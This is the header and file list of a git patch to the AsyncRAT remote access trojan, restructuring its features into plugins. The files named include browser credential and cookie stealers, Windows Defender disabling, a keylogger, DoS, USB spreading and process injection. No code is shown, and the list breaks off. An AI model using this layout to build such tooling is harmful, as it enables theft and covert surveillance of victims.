From feabe1307a06c57bccfae596e46e434504fa4f9a Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Thu, 3 Oct 2019 19:54:27 +0300 Subject: [PATCH] Plugins --- AsyncRAT-C#/AsyncRAT-Sharp.sln | 81 ++ AsyncRAT-C#/Client/Client.csproj | 78 +- .../Client/Handle Packet/HandleBlankScreen.cs | 74 -- .../Client/Handle Packet/HandleLimeUSB.cs | 41 - .../Client/Handle Packet/HandleNetStat.cs | 50 - .../Handle Packet/HandleRemoteDesktop.cs | 113 --- .../Client/Handle Packet/HandleThumbnails.cs | 40 - .../Client/Handle Packet/HandleUninstall.cs | 59 -- .../Client/Handle Packet/HandlerChat.cs | 47 - .../Client/Handle Packet/HandlerRecovery.cs | 36 - AsyncRAT-C#/Client/Handle Packet/Packet.cs | 243 +---- AsyncRAT-C#/Client/Helper/Anti_Analysis.cs | 5 +- AsyncRAT-C#/Client/Helper/Methods.cs | 17 +- AsyncRAT-C#/Client/Helper/SetRegistry.cs | 89 ++ AsyncRAT-C#/Client/Install/NormalStartup.cs | 4 +- AsyncRAT-C#/Client/Program.cs | 8 +- AsyncRAT-C#/Client/Properties/AssemblyInfo.cs | 2 +- AsyncRAT-C#/Client/Settings.cs | 6 +- AsyncRAT-C#/Plugin/Chat/Chat.sln | 25 + AsyncRAT-C#/Plugin/Chat/Chat/Chat.csproj | 67 ++ AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs | 214 ++++ .../Chat/Chat}/FormChat.Designer.cs | 2 +- .../Helper => Plugin/Chat/Chat}/FormChat.cs | 21 +- .../Helper => Plugin/Chat/Chat}/FormChat.resx | 0 .../Chat/Chat/MessagePack/BytesTools.cs | 102 ++ .../Plugin/Chat/Chat/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../Chat/Chat/MessagePack/MsgPackType.cs | 24 + .../Plugin/Chat/Chat/MessagePack/ReadTools.cs | 84 ++ .../Chat/Chat/MessagePack/WriteTools.cs | 199 ++++ AsyncRAT-C#/Plugin/Chat/Chat/Packet.cs | 86 ++ AsyncRAT-C#/Plugin/Chat/Chat/Plugin.cs | 33 + .../Chat/Chat/Properties/AssemblyInfo.cs | 36 + AsyncRAT-C#/Plugin/Extra/Extra.sln | 25 + AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs | 211 ++++ AsyncRAT-C#/Plugin/Extra/Extra/Extra.csproj | 57 ++ .../Extra/Handler/HandleDisableDefender.cs} | 31 +- .../Extra/Extra/MessagePack/BytesTools.cs | 102 ++ .../Plugin/Extra/Extra/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../Extra/Extra/MessagePack/MsgPackType.cs | 24 + .../Extra/Extra/MessagePack/ReadTools.cs | 84 ++ .../Extra/Extra/MessagePack/WriteTools.cs | 199 ++++ AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs | 68 ++ AsyncRAT-C#/Plugin/Extra/Extra/Plugin.cs | 34 + .../Extra/Extra/Properties/AssemblyInfo.cs | 36 + .../Plugin/FileManager/FileManager.sln | 25 + .../FileManager/FileManager/Connection.cs | 217 ++++ .../FileManager/FileManager.csproj | 58 ++ .../FileManager/Handler/FileManager.cs} | 21 +- .../FileManager/MessagePack/BytesTools.cs | 102 ++ .../FileManager/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../FileManager/MessagePack/MsgPackType.cs | 24 + .../FileManager/MessagePack/ReadTools.cs | 84 ++ .../FileManager/MessagePack/WriteTools.cs | 199 ++++ .../Plugin/FileManager/FileManager/Packet.cs | 49 + .../Plugin/FileManager/FileManager/Plugin.cs | 45 + .../FileManager/Properties/AssemblyInfo.cs | 36 + .../FileManager/FileManager}/TempSocket.cs | 20 +- AsyncRAT-C#/Plugin/LimeLogger/LimeLogger.sln | 25 + .../LimeLogger/LimeLogger/Connection.cs | 211 ++++ .../LimeLogger/LimeLogger/LimeLogger.csproj | 55 ++ .../LimeLogger/MessagePack/BytesTools.cs | 102 ++ .../LimeLogger/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../LimeLogger/MessagePack/MsgPackType.cs | 24 + .../LimeLogger/MessagePack/ReadTools.cs | 84 ++ .../LimeLogger/MessagePack/WriteTools.cs | 199 ++++ .../LimeLogger/LimeLogger/Packet.cs} | 68 +- .../Plugin/LimeLogger/LimeLogger/Plugin.cs | 33 + .../LimeLogger/Properties/AssemblyInfo.cs | 36 + .../Plugin/Miscellaneous/Miscellaneous.sln | 25 + .../Miscellaneous/Miscellaneous/Connection.cs | 211 ++++ .../Miscellaneous/FodyWeavers.xml | 3 + .../Miscellaneous/FodyWeavers.xsd | 111 +++ .../Miscellaneous/Handler}/HandleBotKiller.cs | 28 +- .../Miscellaneous/Handler}/HandleDos.cs | 26 +- .../Miscellaneous/Handler/HandleLimeUSB.cs | 226 +++++ .../Miscellaneous/Handler}/HandleShell.cs | 17 +- .../Miscellaneous/Handler}/HandleTorrent.cs | 11 +- .../Handler}/HandlerExecuteDotNetCode.cs | 10 +- .../Miscellaneous/MessagePack/BytesTools.cs | 102 ++ .../Miscellaneous/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../Miscellaneous/MessagePack/MsgPackType.cs | 24 + .../Miscellaneous/MessagePack/ReadTools.cs | 84 ++ .../Miscellaneous/MessagePack/WriteTools.cs | 199 ++++ .../Miscellaneous/Miscellaneous.csproj | 84 ++ .../Miscellaneous/Miscellaneous/Packet.cs | 114 +++ .../Miscellaneous/Miscellaneous/Plugin.cs | 34 + .../Miscellaneous/Properties/AssemblyInfo.cs | 36 + .../Miscellaneous/packages.config | 5 + AsyncRAT-C#/Plugin/Options/Options.sln | 25 + .../Plugin/Options/Options/Connection.cs | 211 ++++ .../Options/Handler}/HandlePcOptions.cs | 6 +- .../Options/Handler}/HandleReportWindow.cs | 14 +- .../Options/Handler/HandleThumbnails.cs | 48 + .../Options/Options/Handler}/HandleUAC.cs | 10 +- .../Options/Handler/HandleUninstall.cs | 62 ++ .../Options/Options/MessagePack/BytesTools.cs | 102 ++ .../Options/Options/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../Options/MessagePack/MsgPackType.cs | 24 + .../Options/Options/MessagePack/ReadTools.cs | 84 ++ .../Options/Options/MessagePack/WriteTools.cs | 199 ++++ AsyncRAT-C#/Plugin/Options/Options/Methods.cs | 66 ++ .../Plugin/Options/Options/Options.csproj | 62 ++ AsyncRAT-C#/Plugin/Options/Options/Packet.cs | 114 +++ AsyncRAT-C#/Plugin/Options/Options/Plugin.cs | 45 + .../Options/Properties/AssemblyInfo.cs | 36 + .../Plugin/ProcessManager/ProcessManager.sln | 25 + .../ProcessManager/Connection.cs | 211 ++++ .../ProcessManager/MessagePack/BytesTools.cs | 102 ++ .../ProcessManager/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../ProcessManager/MessagePack/MsgPackType.cs | 24 + .../ProcessManager/MessagePack/ReadTools.cs | 84 ++ .../ProcessManager/MessagePack/WriteTools.cs | 199 ++++ .../ProcessManager/ProcessManager/Packet.cs} | 64 +- .../ProcessManager/ProcessManager/Plugin.cs | 33 + .../ProcessManager/ProcessManager.csproj | 56 ++ .../ProcessManager/Properties/AssemblyInfo.cs | 36 + AsyncRAT-C#/Plugin/Recovery/Recovery.sln | 25 + .../Recovery/Browsers/Chromium/Chromium.cs | 330 +++++++ .../Browsers/Chromium/ChromiumCookies.cs | 175 ++++ .../Recovery/Browsers/CredentialModel.cs | 10 + .../Firefox/Cookies/FFCookiesGrabber.cs | 131 +++ .../Recovery/Browsers/Firefox/FFDecryptor.cs | 101 ++ .../Recovery/Browsers/Firefox/Firefox.cs | 74 ++ .../Browsers/Firefox/FirefoxPassReader.cs | 129 +++ .../Recovery/Recovery/Browsers/IPassReader.cs | 10 + .../Recovery/Browsers/SQLiteHandler.cs | 483 +++++++++ .../Plugin/Recovery/Recovery/Connection.cs | 143 +++ .../Plugin/Recovery/Recovery/FodyWeavers.xml | 3 + .../Plugin/Recovery/Recovery/FodyWeavers.xsd | 111 +++ .../Recovery/MessagePack/BytesTools.cs | 102 ++ .../Recovery/Recovery/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../Recovery/MessagePack/MsgPackType.cs | 24 + .../Recovery/MessagePack/ReadTools.cs | 84 ++ .../Recovery/MessagePack/WriteTools.cs | 199 ++++ .../Plugin/Recovery/Recovery/Packet.cs | 44 + .../Plugin/Recovery/Recovery/Plugin.cs | 45 + .../Recovery/Properties/AssemblyInfo.cs | 36 + .../Plugin/Recovery/Recovery/Recovery.csproj | 89 ++ .../Plugin/Recovery/Recovery/packages.config | 7 + .../Plugin/RemoteCamera/RemoteCamera.sln | 25 + .../Video.DirectShow/CameraControlProperty.cs | 0 .../AForge/Video.DirectShow/FilterInfo.cs | 0 .../Video.DirectShow/FilterInfoCollection.cs | 0 .../Internals/IAMCameraControl.cs | 0 .../Video.DirectShow/Internals/IAMCrossbar.cs | 0 .../Internals/IAMStreamConfig.cs | 0 .../Internals/IAMVideoControl.cs | 0 .../Video.DirectShow/Internals/IBaseFilter.cs | 0 .../Internals/ICaptureGraphBuilder2.cs | 0 .../Internals/ICreateDevEnum.cs | 0 .../Internals/IEnumFilters.cs | 0 .../Video.DirectShow/Internals/IEnumPins.cs | 0 .../Internals/IFilterGraph.cs | 0 .../Internals/IFilterGraph2.cs | 0 .../Internals/IGraphBuilder.cs | 0 .../Internals/IMediaControl.cs | 0 .../Internals/IMediaEventEx.cs | 0 .../AForge/Video.DirectShow/Internals/IPin.cs | 0 .../Internals/IPropertyBag.cs | 0 .../Internals/IReferenceClock.cs | 0 .../Internals/ISampleGrabber.cs | 0 .../Internals/ISampleGrabberCB.cs | 0 .../Internals/ISpecifyPropertyPages.cs | 0 .../Video.DirectShow/Internals/Structures.cs | 0 .../Video.DirectShow/Internals/Uuids.cs | 0 .../Video.DirectShow/Internals/Win32.cs | 0 .../Video.DirectShow/PhysicalConnectorType.cs | 0 .../AForge/Video.DirectShow/Uuids.cs | 0 .../Video.DirectShow/VideoCapabilities.cs | 0 .../Video.DirectShow/VideoCaptureDevice.cs | 0 .../AForge/Video.DirectShow/VideoInput.cs | 0 .../AForge/Video/IVideoSource.cs | 0 .../RemoteCamera}/AForge/Video/VideoEvents.cs | 0 .../RemoteCamera/RemoteCamera/Connection.cs | 211 ++++ .../RemoteCamera/MessagePack/BytesTools.cs | 102 ++ .../RemoteCamera/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../RemoteCamera/MessagePack/MsgPackType.cs | 24 + .../RemoteCamera/MessagePack/ReadTools.cs | 84 ++ .../RemoteCamera/MessagePack/WriteTools.cs | 199 ++++ .../RemoteCamera/RemoteCamera/Packet.cs} | 95 +- .../RemoteCamera/RemoteCamera/Plugin.cs | 33 + .../RemoteCamera/Properties/AssemblyInfo.cs | 36 + .../RemoteCamera/RemoteCamera.csproj | 90 ++ .../Plugin/RemoteDesktop/RemoteDesktop.sln | 24 + .../RemoteDesktop/RemoteDesktop/Connection.cs | 212 ++++ .../RemoteDesktop/MessagePack/BytesTools.cs | 102 ++ .../RemoteDesktop/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../RemoteDesktop/MessagePack/MsgPackType.cs | 24 + .../RemoteDesktop/MessagePack/ReadTools.cs | 84 ++ .../RemoteDesktop/MessagePack/WriteTools.cs | 199 ++++ .../RemoteDesktop/RemoteDesktop/Packet.cs | 134 +++ .../RemoteDesktop/RemoteDesktop/Plugin.cs | 33 + .../RemoteDesktop/Properties/AssemblyInfo.cs | 36 + .../RemoteDesktop/RemoteDesktop.csproj | 65 ++ .../RemoteDesktop}/StreamLibrary/Enums.cs | 2 +- .../StreamLibrary/IUnsafeCodec.cs | 4 +- .../StreamLibrary/IVideoCodec.cs | 4 +- .../UnsafeCodecs/UnsafeStreamCodec.cs | 4 +- .../StreamLibrary/src/JpgCompression.cs | 2 +- .../StreamLibrary/src/LzwCompression.cs | 2 +- .../StreamLibrary/src/NativeMethods.cs | 2 +- AsyncRAT-C#/Plugin/SendFile/SendFile.sln | 25 + .../Plugin/SendFile/SendFile/Connection.cs | 211 ++++ .../SendFile/Handler}/HandleSendTo.cs | 12 +- .../SendFile/Handler/HandleUninstall.cs | 63 ++ .../SendFile/MessagePack/BytesTools.cs | 102 ++ .../SendFile/SendFile/MessagePack/MsgPack.cs | 926 ++++++++++++++++++ .../SendFile/MessagePack/MsgPackType.cs | 24 + .../SendFile/MessagePack/ReadTools.cs | 84 ++ .../SendFile/MessagePack/WriteTools.cs | 199 ++++ .../Plugin/SendFile/SendFile/Methods.cs | 66 ++ .../Plugin/SendFile/SendFile/Packet.cs | 54 + .../Plugin/SendFile/SendFile/Plugin.cs | 45 + .../SendFile/Properties/AssemblyInfo.cs | 36 + AsyncRAT-C#/Plugin/SendFile/SendFile/RunPE.cs | 206 ++++ .../Plugin/SendFile/SendFile/SendFile.csproj | 59 ++ AsyncRAT-C#/Server/Algorithm/GetHash.cs | 23 + AsyncRAT-C#/Server/Connection/Clients.cs | 112 ++- AsyncRAT-C#/Server/Forms/Form1.Designer.cs | 104 +- AsyncRAT-C#/Server/Forms/Form1.cs | 617 ++++++++---- AsyncRAT-C#/Server/Forms/Form1.resx | 3 - AsyncRAT-C#/Server/Forms/FormBuilder.cs | 33 +- .../Server/Forms/FormCertificate.Designer.cs | 2 +- AsyncRAT-C#/Server/Forms/FormChat.Designer.cs | 6 +- AsyncRAT-C#/Server/Forms/FormChat.cs | 26 +- AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs | 28 - AsyncRAT-C#/Server/Forms/FormDOS.cs | 104 +- AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs | 15 +- .../Server/Forms/FormFileManager.Designer.cs | 61 +- AsyncRAT-C#/Server/Forms/FormFileManager.cs | 5 + AsyncRAT-C#/Server/Forms/FormFileManager.resx | 844 ++++++++-------- .../Server/Forms/FormKeylogger.Designer.cs | 3 +- AsyncRAT-C#/Server/Forms/FormKeylogger.cs | 14 +- .../Server/Forms/FormPorts.Designer.cs | 1 + .../Forms/FormProcessManager.Designer.cs | 6 +- .../Server/Forms/FormProcessManager.cs | 12 +- AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs | 10 +- .../Server/Forms/FormShell.Designer.cs | 3 +- AsyncRAT-C#/Server/Forms/FormShell.cs | 10 +- AsyncRAT-C#/Server/Forms/FormTorrent.cs | 15 +- .../Server/Handle Packet/HandleChat.cs | 44 +- AsyncRAT-C#/Server/Handle Packet/HandleDos.cs | 29 + .../Server/Handle Packet/HandleFileManager.cs | 21 +- .../Server/Handle Packet/HandleKeylogger.cs | 34 +- .../Server/Handle Packet/HandleListView.cs | 11 +- .../Server/Handle Packet/HandleLogs.cs | 1 + .../Server/Handle Packet/HandlePing.cs | 1 - .../Handle Packet/HandleProcessManager.cs | 8 +- .../Server/Handle Packet/HandleRecovery.cs | 10 +- .../Handle Packet/HandleRemoteDesktop.cs | 5 +- .../Server/Handle Packet/HandleShell.cs | 7 +- .../Server/Handle Packet/HandleThumbnails.cs | 5 +- .../Server/Handle Packet/HandleWebcam.cs | 7 +- AsyncRAT-C#/Server/Handle Packet/Packet.cs | 287 +++--- AsyncRAT-C#/Server/Helper/Methods.cs | 21 +- .../Server/Properties/Resources.Designer.cs | 30 - AsyncRAT-C#/Server/Properties/Resources.resx | 9 - .../Classes/MethodsRenaming.cs | 2 +- .../Classes/NamespacesRenaming.cs | 1 + .../RenamingObfuscation/Classes/Utils.cs | 4 +- .../Server/Resources/PluginRecovery.dll | Bin 385536 -> 0 bytes AsyncRAT-C#/Server/Resources/PluginRunPE.dll | Bin 8704 -> 0 bytes .../Server/Resources/PluginUsbSpread.dll | Bin 40448 -> 0 bytes AsyncRAT-C#/Server/Server.csproj | 7 +- AsyncRAT-C#/Server/Settings.cs | 6 +- 265 files changed, 23859 insertions(+), 2073 deletions(-) delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleBlankScreen.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleNetStat.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs create mode 100644 AsyncRAT-C#/Client/Helper/SetRegistry.cs create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat.sln create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat/Chat.csproj create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs rename AsyncRAT-C#/{Client/Helper => Plugin/Chat/Chat}/FormChat.Designer.cs (99%) rename AsyncRAT-C#/{Client/Helper => Plugin/Chat/Chat}/FormChat.cs (67%) rename AsyncRAT-C#/{Client/Helper => Plugin/Chat/Chat}/FormChat.resx (100%) create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/WriteTools.cs create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat/Packet.cs create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/Chat/Chat/Properties/AssemblyInfo.cs create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra.sln create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra/Extra.csproj rename AsyncRAT-C#/{Client/Handle Packet/HandleWindowsDefender.cs => Plugin/Extra/Extra/Handler/HandleDisableDefender.cs} (89%) create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/WriteTools.cs create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra/Packet.cs create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/Extra/Extra/Properties/AssemblyInfo.cs create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager.sln create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager/FileManager.csproj rename AsyncRAT-C#/{Client/Handle Packet/HandleFileManager.cs => Plugin/FileManager/FileManager/Handler/FileManager.cs} (94%) create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/WriteTools.cs create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager/Packet.cs create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/FileManager/FileManager/Properties/AssemblyInfo.cs rename AsyncRAT-C#/{Client/Connection => Plugin/FileManager/FileManager}/TempSocket.cs (92%) create mode 100644 AsyncRAT-C#/Plugin/LimeLogger/LimeLogger.sln create mode 100644 AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs create mode 100644 AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/LimeLogger.csproj create mode 100644 AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/WriteTools.cs rename AsyncRAT-C#/{Client/Handle Packet/HandleLimeLogger.cs => Plugin/LimeLogger/LimeLogger/Packet.cs} (80%) create mode 100644 AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Properties/AssemblyInfo.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous.sln create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xml create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xsd rename AsyncRAT-C#/{Client/Handle Packet => Plugin/Miscellaneous/Miscellaneous/Handler}/HandleBotKiller.cs (81%) rename AsyncRAT-C#/{Client/Handle Packet => Plugin/Miscellaneous/Miscellaneous/Handler}/HandleDos.cs (84%) create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleLimeUSB.cs rename AsyncRAT-C#/{Client/Handle Packet => Plugin/Miscellaneous/Miscellaneous/Handler}/HandleShell.cs (89%) rename AsyncRAT-C#/{Client/Handle Packet => Plugin/Miscellaneous/Miscellaneous/Handler}/HandleTorrent.cs (95%) rename AsyncRAT-C#/{Client/Handle Packet => Plugin/Miscellaneous/Miscellaneous/Handler}/HandlerExecuteDotNetCode.cs (97%) create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/WriteTools.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Miscellaneous.csproj create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Packet.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/AssemblyInfo.cs create mode 100644 AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config create mode 100644 AsyncRAT-C#/Plugin/Options/Options.sln create mode 100644 AsyncRAT-C#/Plugin/Options/Options/Connection.cs rename AsyncRAT-C#/{Client/Handle Packet => Plugin/Options/Options/Handler}/HandlePcOptions.cs (97%) rename AsyncRAT-C#/{Client/Handle Packet => Plugin/Options/Options/Handler}/HandleReportWindow.cs (87%) create mode 100644 AsyncRAT-C#/Plugin/Options/Options/Handler/HandleThumbnails.cs rename AsyncRAT-C#/{Client/Handle Packet => Plugin/Options/Options/Handler}/HandleUAC.cs (84%) create mode 100644 AsyncRAT-C#/Plugin/Options/Options/Handler/HandleUninstall.cs create mode 100644 AsyncRAT-C#/Plugin/Options/Options/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/Options/Options/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/Options/Options/MessagePack/WriteTools.cs create mode 100644 AsyncRAT-C#/Plugin/Options/Options/Methods.cs create mode 100644 AsyncRAT-C#/Plugin/Options/Options/Options.csproj create mode 100644 AsyncRAT-C#/Plugin/Options/Options/Packet.cs create mode 100644 AsyncRAT-C#/Plugin/Options/Options/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/Options/Options/Properties/AssemblyInfo.cs create mode 100644 AsyncRAT-C#/Plugin/ProcessManager/ProcessManager.sln create mode 100644 AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs create mode 100644 AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/MessagePack/WriteTools.cs rename AsyncRAT-C#/{Client/Handle Packet/HandleProcessManager.cs => Plugin/ProcessManager/ProcessManager/Packet.cs} (66%) create mode 100644 AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/ProcessManager.csproj create mode 100644 AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Properties/AssemblyInfo.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery.sln create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Chromium/Chromium.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Chromium/ChromiumCookies.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/CredentialModel.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/Cookies/FFCookiesGrabber.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FFDecryptor.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/Firefox.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/Firefox/FirefoxPassReader.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/IPassReader.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Browsers/SQLiteHandler.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/FodyWeavers.xml create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/FodyWeavers.xsd create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/BytesTools.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPack.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPackType.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/ReadTools.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/WriteTools.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Packet.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Plugin.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Properties/AssemblyInfo.cs create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/Recovery.csproj create mode 100644 AsyncRAT-C#/Plugin/Recovery/Recovery/packages.config create mode 100644 AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera.sln rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/CameraControlProperty.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/FilterInfo.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/FilterInfoCollection.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IAMCameraControl.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IAMCrossbar.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IAMVideoControl.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IBaseFilter.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IEnumFilters.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IEnumPins.cs (100%) rename AsyncRAT-C#/{Client => Plugin/RemoteCamera/RemoteCamera}/AForge/Video.DirectShow/Internals/IFilterGraph.cs (100%) rename 